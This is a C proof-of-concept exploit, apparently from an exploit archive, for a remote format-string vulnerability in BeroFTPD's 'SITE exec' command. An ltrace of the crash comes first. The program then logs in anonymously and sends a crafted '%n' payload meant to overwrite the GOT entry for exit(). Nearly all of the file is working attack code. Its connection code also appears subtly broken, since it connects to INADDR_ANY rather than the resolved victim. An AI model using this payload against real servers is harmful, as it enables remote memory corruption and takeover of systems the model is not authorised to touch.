/*
 * Remote format string in BeroFTPD all users - anonymous too - can sploit this bug.
 * Where is bug? Look:
 *
 * 3763 _IO_getc(0x4016c6a0)                         = 'S'
 * 3763 _IO_getc(0x4016c6a0)                         = 'I'
 * 3763 _IO_getc(0x4016c6a0)                         = 'T'
 * 3763 _IO_getc(0x4016c6a0)                         = 'E'
 * 3763 _IO_getc(0x4016c6a0)                         = ' '
 * 3763 _IO_getc(0x4016c6a0)                         = 'e'
 * 3763 _IO_getc(0x4016c6a0)                         = 'x'
 * 3763 _IO_getc(0x4016c6a0)                         = 'e'
 * 3763 _IO_getc(0x4016c6a0)                         = 'c'
 * 3763 _IO_getc(0x4016c6a0)                         = ' '
 * 3763 _IO_getc(0x4016c6a0)                         = '%'
 * 3763 _IO_getc(0x4016c6a0)                         = 'n'
 * 3763 _IO_getc(0x4016c6a0)                         = '%'
 * 3763 _IO_getc(0x4016c6a0)                         = 'n'
 * 3763 _IO_getc(0x4016c6a0)                         = '\r'
 * 3763 _IO_getc(0x4016c6a0)                         = '\n'
 * 3763 alarm(0)                                     = 897
 * 3763 strchr("SITE exec %n%n\r\n", '\r')           = "\r\n"
 * ...
 * ...
 * ...
 * 3763 strcmp("SITE", "SITE")                       = 0
 * 3763 strncasecmp(0x08076ac0, 0x08063089, 4, 0x400d3b03, 11) = 3
 * 3763 strncasecmp(0x08076ac0, 0x08062806, 10, 0x400d3b03, 11) = -2
 * 3763 strchr("SITE exec %n%n\n", '\n')             = "\n"
 * 3763 vsnprintf("localhost: anonymous/@: SITE exe"..., 2042, "%s: %s", 0xbfffc788) = 38
 * 3763 strcpy(0xbffffe44, "ftpd: localhost: anonymous/@: SI"...) = 0xbffffe44
 * ...
 * ...
 * ...
 * 3763 strcmp("EXEC", "EXEC")                       = 0
 * 3763 malloc(5)                                    = 0x08081118
 * 3763 strcpy(0x08081118, "%n%n")                   = 0x08081118
 * 3763 strchr("%n%n", ' ')                          = NULL
 * 3763 strchr("%n%n", '/')                          = NULL
 * 3763 sprintf("/bin/ftp-exec/%n%n", "%s/%s", "/bin/ftp-exec", "%n%n") = 18
 * 3763 getrlimit(7, 0xbfffa214, 0xbfffb34c, 0x0805731b, 0xbfffb7ac) = 0
 * 3763 pipe(0xbfffa20c, 0xbfffa214, 0xbfffb34c, 0x0805731b, 0xbfffb7ac) = 0
 * 3763 strtok("/bin/ftp-exec/%n%n", " \t\n")        = "/bin/ftp-exec/%n%n"
 * 3763 strtok(NULL, " \t\n")                        = NULL
 * 3763 signal(17, NULL)                             = 0x00000001
 * 3763 vfork(0xbfffb7ac, 0x08081118, 0x0808111d, 0, 0 <unfinished ...>
 * 3763 --- SIGCHLD (Child exited) ---
 * ...
 * ...
 * ...
 * 3763 sprintf("200-", "%03d%c", 200, '-')          = 4
 * 3763 vsnprintf( <unfinished ...>
 * 3763 --- SIGSEGV (Segmentation fault) ---
 * 3763 syslog(3, "exiting on signal %d", 11)        = <void>
 * 3763 chdir("/")                                   = 0
 * 3763 signal(6, NULL)                              = 0x0804b1d8
 * 3763 signal(4, NULL)                              = 0x0804b1d8
 * 3763 exit(1 <unfinished ...>
 * 3763 __deregister_frame_info(0x080688c4, 0x4000b8d9, 0x40015f64, 0x400168d0, 7) = 0x08068c20
 * 3763 +++ exited (status 1) +++
 *
 * Mhrau... old bugs from wu-ftpd return in BeroFTPD ;-)
 *
 * This PoC check wheter this BeroFTPD version is vulnerability and in my machine overwrite
 * address for function exit() in GOT table by address 0xbffffa49 but in victims machine i don't
 * know what he overwrite ;-)
 *
 * Special greetz: appelast, MJINKS
 * Greetz: [greetz on my web] && other my friends (you know who you are)
 *
 *         ...::: -=[ www.pi3.int.pl ]=- :::...
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <sys/wait.h>
#include <getopt.h>

#define EX_GOT 0x08048ab4

#define TRUE     1
#define FALSE    0
#define FAL_EX  -1

#define BUFS 210
#define PORT 21
#define LOGN "ftp"
#define PASS "daj@na.wino"
#define SA struct sockaddr
#define pi3 TRUE

int vrfy(int mode, char *ans) {

   if (mode == 1) {
      if(!strncmp(ans, "331", 3))
        return TRUE;
      else
        return FALSE;
   }

   if (mode == 2) {
      if(!strncmp(ans, "230", 3))
        return TRUE;
      else
        return FALSE;
   }

   if (mode == 3) {
      if(!strncmp(ans, "200", 3))
        return TRUE;
      else
        return FALSE;
   }

   if (mode == 4) {
      if(!strncmp(ans, "250", 3))
        return TRUE;
      else
        return FALSE;
   }
}

void ussage(char *arg) {

   printf("\n\n\t...::: -=[ Exploit for BeroFTPD by pi3 (pi3ki31ny) ]=- :::...\n");
   printf("\n\t\t[*] Ussage: %s [options]\n\n",arg);
   printf("\tOptions:\n\n");
   printf("\t\t-v <victims hostname>\n");
   printf("\t\t-o [   port                   - standard -> 21              ]\n");
   printf("\t\t-l [   login                  - standard -> ftp             ]\n");
   printf("\t\t-p [   password               - standard -> daj@na.wino     ]\n");
   printf("\t\t-r [   ret addr to overwrite  - standard -> 0x08048ab4      ]\n");
   printf("\t\t-h This stupid help screen...\n\n\n");
   exit(FAL_EX);

}

int main(int argc, char *argv[]) {

   char buf[500],line[100],tmp_buf[200],*login=LOGN,*pass=PASS,*victim=NULL;
   long inet,*buf_addr,tmp=0,ret=EX_GOT;
   int pid,sockfd,i,port=PORT,opt=FALSE,ret_vrfy=FALSE;
   struct sockaddr_in servaddr;
   struct hostent *h;

   if (argc<2)
     ussage(argv[FALSE]);

   while((opt = getopt(argc,argv,"v:o:l:p:rh")) != FAL_EX) {

      switch(opt) {

       case 'v':

         victim=optarg;
         if ( (h=gethostbyname((char*)optarg)) == NULL) {
            printf("Gethostbyname() field!\n");
            exit(FAL_EX);
         }
         memcpy (&inet, h->h_addr, 4);
         break;

       case 'o':

         port=atoi(optarg);
         break;

       case 'l':

         login=optarg;
         break;

       case 'p':

         pass=optarg;
         break;

       case 'r':
         tmp=1;
         break;

       case 'h':
       default:

         ussage(argv[FALSE]);
         break;

      }
   }

   servaddr.sin_family      = AF_INET;
   servaddr.sin_port        = htons(port);
   servaddr.sin_addr.s_addr = htonl(INADDR_ANY);
   if (tmp==1) {
      printf("Podaj: 0x");
      scanf("%x",&ret);
   }
   printf("ret = 0x%x\n",ret);
   bzero(buf,sizeof(buf));
   strcpy(buf,"site exec AA");
   buf_addr=(long*)&buf[12];
   *(buf_addr++)=ret;
   *(buf_addr++)=ret+1;
   *(buf_addr++)=ret+2;
   *(buf_addr++)=ret+3;
   strcat(buf,"%276$57x%277$n%276$181x%278$n%276$257x%279$n%276$192x%280$n\n");

   if ( (sockfd=socket(AF_INET,SOCK_STREAM,FALSE)) <FALSE ) {
      printf("Socket() error!\n");
      exit(FAL_EX);
   }

   if ( (connect(sockfd,(SA*)&servaddr,sizeof(servaddr)) ) <FALSE ) {
      printf("Connect() error!\n");
      exit(FAL_EX);
   }

   printf("\n\n\t...::: -=[ Exploit for BeroFTPD by pi3 (pi3ki31ny) ]=- :::...\n");
   printf("\n\t[*] Connected to: %s\n",victim);
   bzero(tmp_buf,sizeof(tmp_buf));

   i=FALSE;
   if ( (i=read(sockfd,tmp_buf,sizeof(tmp_buf))) == FAL_EX) {
      printf("I can\'t read from source host baner...\nExiting...\n\n");
      exit(FAL_EX);
   }
   tmp_buf[strlen(tmp_buf)-1]='\0';
   printf("\t[*] Banner: %s\n",tmp_buf);
   bzero(tmp_buf,sizeof(tmp_buf));
   snprintf(tmp_buf,sizeof(tmp_buf),"USER %s\n",login);
   printf("\t[*] Sending USER: %s... ",login);

   i=FALSE;
   if ( (i=write(sockfd,tmp_buf,strlen(tmp_buf))) == FAL_EX) {
      printf("I can\'t write to source host login...\nExiting...\n\n");
      exit(FAL_EX);
   }

   bzero(tmp_buf,sizeof(tmp_buf)),i=FALSE;
   if ( (i=read(sockfd,tmp_buf,sizeof(tmp_buf))) == FAL_EX) {
      printf("I can\'t read from source host...\nExiting...\n\n");
      exit(FAL_EX);
   }

   if ( (ret_vrfy=vrfy(TRUE,tmp_buf)) == FALSE) {
      printf("Error! server don\'t answer with code 230!\n(if it\'s normal \
ignore this in source code!)\n\n");
      exit(FAL_EX);
   }

   printf("\t\tOK!\n");
   i=FALSE,bzero(tmp_buf,sizeof(tmp_buf));
   snprintf(tmp_buf,sizeof(tmp_buf),"PASS %s\n",pass);
   printf("\t[*] Sending PASS: %s... ",pass);

   if ( (i=write(sockfd,tmp_buf,strlen(tmp_buf))) == FAL_EX) {
      printf("I can\'t write to source host password...\nExiting...\n\n");
      exit(FAL_EX);
   }

   bzero(tmp_buf,sizeof(tmp_buf)),i=FALSE,ret_vrfy=FALSE;
   if ( (i=read(sockfd,tmp_buf,sizeof(tmp_buf))) == FAL_EX) {
      printf("I can\'t read from source host...\nExiting...\n\n");
      exit(FAL_EX);
   }

   if ( (ret_vrfy=vrfy(TRUE+1,tmp_buf)) == FALSE) {
      printf("Error! server don\'t answer with code 230!\n(if it\'s normal \
ignore this in source code!)\n\n");
      exit(FAL_EX);
   }

   bzero(tmp_buf,sizeof(tmp_buf)),i=FALSE,ret_vrfy=FALSE;
   printf("\tOK!\n");

   printf("\t[*] Sending evil command...");

   if ( (i=write(sockfd,buf,strlen(buf))) == FAL_EX) {
      printf("I can\'t write to source host evil command...\nExiting...\n\n");
      exit(FAL_EX);
   }
   printf("\t\tOK! (buf = %s)",buf);

   bzero(tmp_buf,sizeof(tmp_buf)),i=FALSE,ret_vrfy=FALSE;
   if ( (i=read(sockfd,tmp_buf,sizeof(tmp_buf))) == FAL_EX) {
      printf("I can\'t read from source host...\nExiting...\n\n");
      exit(FAL_EX);
   }
   printf("\n\t[*] Answer... ");
   if (tmp_buf[0]==0)
      printf("\t\t\t\tSERVER IS VULN - %s\n\n\n",tmp_buf);
   else
      printf("\t\t\t\tSERVER IS NOT VULN - %s\n\n\n",tmp_buf);

   return pi3;
}


